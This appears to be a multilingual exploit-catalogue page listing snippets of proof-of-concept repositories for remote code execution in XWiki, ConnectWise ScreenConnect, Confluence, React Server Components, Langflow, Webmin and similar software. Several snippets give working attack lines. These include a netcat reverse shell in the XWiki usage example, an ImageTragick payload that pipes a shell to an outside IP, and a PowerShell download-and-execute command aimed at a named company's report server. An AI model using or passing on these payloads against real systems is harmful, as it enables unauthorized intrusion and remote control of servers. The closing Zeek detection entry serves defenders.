CVE-2025-24893

CVE-2025-24893 XWiki の 15.10.11、16.4.1、16.5.0RC1 より前のバージョンに対するリモートコード実行エクスプロイト。 使用方法 root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 倫理的な目的にのみ使用してください :...

connectwise-screenconnect_auth-bypass-add-user-poc

CVE-2024-1708 和 CVE-2024-1709 由 @watchTowr 开发的概念验证（PoC），利用身份验证绕过漏洞在 ConnectWise ScreenConnect 中添加新的管理用户。这是简单的远程命令执行链的第一步。 关注 watchTowr 实验室团队，获取我们的安全研究 https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...

CiscoExploit

CiscoExploit Cisco 扫描（IP/端口/主机名/引导/版本） https://www.cnblogs.com/k8gege/p/10679491.html CVE-2019-1821 Cisco Prime Infrastructure 远程代码执行 https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html Cisco SNMP 远程代码执行 https://github.com/artkond/cisco-snmp-rc...

ConfluentPwn

ConfluentPwn Confluence 预认证 ONGL 注入远程代码执行扫描器 CVE-2022-26134。 使用方法 下方 GIF 展示了工具的使用演示： 以下是工具的帮助输出： root@kitploit: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - A Modern Attack Surface ASM Management...

CVE-2025-55182-Dockerized

CVE-2025-55182 - Docker化的概念验证 本仓库包含了CVE-2025-55182的Docker化概念验证，这是一个在React Server Components RSC 中的严重远程代码执行漏洞，影响使用Server Actions的Next.js应用。 致谢 原始概念验证和漏洞分析由msanft创建。本仓库通过提供一个Docker化测试环境来扩展其工作，以便于测试和演示。 快速开始 前提条件 已安装并运行的Docker Python 3及requests库（pip install requests） 运行漏洞利用 1. 启动存在漏洞的Next.js服务器：...

CVE-2025-24893-PoC

免責表明： 本稿で説明される脆弱性およびその再現手順は、サイバーセキュリティの研究および教育目的のみに使用されます。いかなる者も、本稿で提供される情報を違法目的または無許可のシステムテストに使用してはなりません。著者は、本情報の使用により生じたいかなる直接的または間接的損害についても責任を負いません。著作権侵害が疑われる場合は、速やかにご連絡ください。速やかに対処し、関連コンテンツを削除いたします。 使用方法： python CVE-2025-24893.py URL COMMAND...

React2ShellPoC

CVE-2025-55182 React2Shell の理解: React Server Componentsを介したリモートコード実行の詳細な解説 概要 CVE-2025-55182（React2Shell としても知られる）は、React Server Components に影響を与える重大なリモートコード実行（RCE）脆弱性です。この欠陥により、認証されていない攻撃者が、Reactの Flightプロトコルにおける安全でないデシリアライゼーション 問題を悪用して、脆弱なサーバー上で任意のコードを実行できます。 CVSSスコア10.0...

CVE-2025-3248

Langflow CVE-2025-3248 Exploit CVE-2025-3248 に対する Python ベースのエクスプロイトです。細工された HTTP リクエストを介して、リモートかつ認証不要の攻撃者が脆弱な Langflow インスタンス上で任意のコードを実行できるようにします。 特徴 単一 URL またはファイルからの一括スキャン 自動脆弱性検出 コマンド実行機能 タイミング情報を含む詳細な出力 脆弱性あり/なしのターゲットごとに別々のファイルに結果を保存 スキャン性能に関するベンチマーク統計 使い方 単一 URL スキャン root@kitploit: python...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server 此漏洞可能允许攻击者完全控制易受攻击的 Confluence 服务器。攻击者可以窃取数据、修改数据或破坏服务器的可用性。 Poc 创建一个 JavaScript 文件并为其命名（exploit.js），然后放入以下行 root@kitploit: new java.lang.ProcessBuilder"java.lang.String""calc.exe".start 并通过以下命令发送请求以上传新语言 root@kitploit: curl -X POST...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy テスト環境-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 外部ネットワークにはRMIリモートサーバーがあるため、シェルを取得するのは非常に便利です。内部ネットワークの場合は、自分のRMIサーバーを指定しないと、リバースシェルを取得できません !!! 0x01 generate-payload 0x02 send-payload...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 発行日 2017-03-07 危険レベル 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影響製品 Apache struts =2.3.5、=2.5、 CVE識別子 CVE-2017-5638 問題 It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display ...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC HTTP.sys におけるリモートコード実行 MS15-034...

CVE-2017-8046-DEMO

spring data rest CVE-2017-8046 demo de prueba por favor, ACTUALIZA spring data rest AHORA. pasos Inicia esta aplicación Crea una instancia de prueba root@kitploit: POST /entityPersons/ HTTP/1.1 Host: localhost:8080 Content-Type: application/json Cache-Control: no-cache "firstName":"f2" Usando...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server における Lua インジェクションによる RCE 作者: 0xgh057r3c0n 🧠 説明 このエクスプロイトは、Wing FTP Server のログインハンドラ loginok.html における Lua インジェクションの脆弱性を利用して、任意の OS コマンドを実行したり、リバースシェルを獲得したりします。username パラメータを通じて、サニタイズされていない Lua コードの実行を悪用します。 📦 必要条件 Python 3.6 以上 pip3 Python パッケージ...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-エクスプロイトスクリプト CVE-2012-2982 認証済み RCE 脆弱性（/file/show.cgi/bin エンドポイント）に対する簡潔でシンプルなエクスプロイトスクリプトです。 Webmin RCE エクスプロイト — CVE-2012-2982 このリポジトリは、Webmin 🧠 注意事項 ペイロードはデフォルトで bash -i リバースシェルを使用します。 注入されたペイロードの末尾の | は正常な実行に不可欠です。 Webmin 1.580 でテスト済み。それ以前のバージョンでも動作する可能性があります。 🔒 免責事項...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2024-27348-HugeGraph-RCE

CVE-2024-27348：Apache HugeGraph RCE（高级沙箱绕过） 一个针对 CVE-2024-27348 （Apache HugeGraph 服务器远程代码执行）的高级、高可靠性概念验证（PoC）利用程序。 与许多盲目执行命令或因 Java 的 Runtime.exec 限制而在复杂载荷上失败的公开 PoC 不同，此脚本专为实际渗透测试场景中的高可靠性 而设计。 ⚠️ 免责声明 仅供教育和授权测试目的使用。 此工具提供给安全研究人员、渗透测试人员和系统管理员，用于在授权环境中验证漏洞。作者不对任何滥用或由此工具造成的损害负责。 ✨ 功能与技术改进...

CVE-2025-64424-Coolify-

Coolify CVE-2025-64424 RCE 漏洞实验室 教案：Red74-Coolio-CVE-2025-64424 免责声明： 该仓库包含一个故意存在漏洞的 Coolify 版本，仅供教育目的、CTF 环境和网络安全培训使用。请勿在生产环境中部署或将其暴露于公共互联网。 此实验室提供了一个本地容器化环境，用于安全地学习和利用 Coolify 版本（低于 4.0.0-beta.420.7）的 Git 仓库源字段中存在的命令注入/远程代码执行（RCE）漏洞（CVE-2025-64424 / GHSA-qx24-jhwj-8w6x ）。 🚀 实验室部署说明...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 脆弱性のあるリンク $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49 CVE-2021-41773 および 2.4.50 CVE-2021-42013 のパストラバーサル/RCE に関する通知を発行する Zeek パッケージ 参照 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-42013...